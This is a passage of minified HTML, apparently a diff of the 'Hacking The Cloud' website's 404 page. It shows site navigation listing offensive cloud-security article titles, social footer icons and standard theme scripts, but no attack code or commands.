Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=/aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=/azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=/azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=/azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=/azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=/gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=/gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=/gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=/gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=/gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=/gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=/terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=/blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=/blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <h1>404 - Not found</h1> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "/", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "/assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=/assets/javascripts/bundle.203fd0bc.min.js></script> <script src=/javascripts/matomo.min.js></script> </body> </html>
\ No newline at end of file
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="The encyclopedia for offensive security in the cloud."><link rel=alternate type=application/rss+xml title="RSS feed" href=/feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=/feed_rss_updated.xml><link rel=icon href=/assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Hacking The Cloud</title><link rel=stylesheet href=/assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=/assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=/stylesheets/extra.css><script>__md_scope=new URL("/",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=/. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=/assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 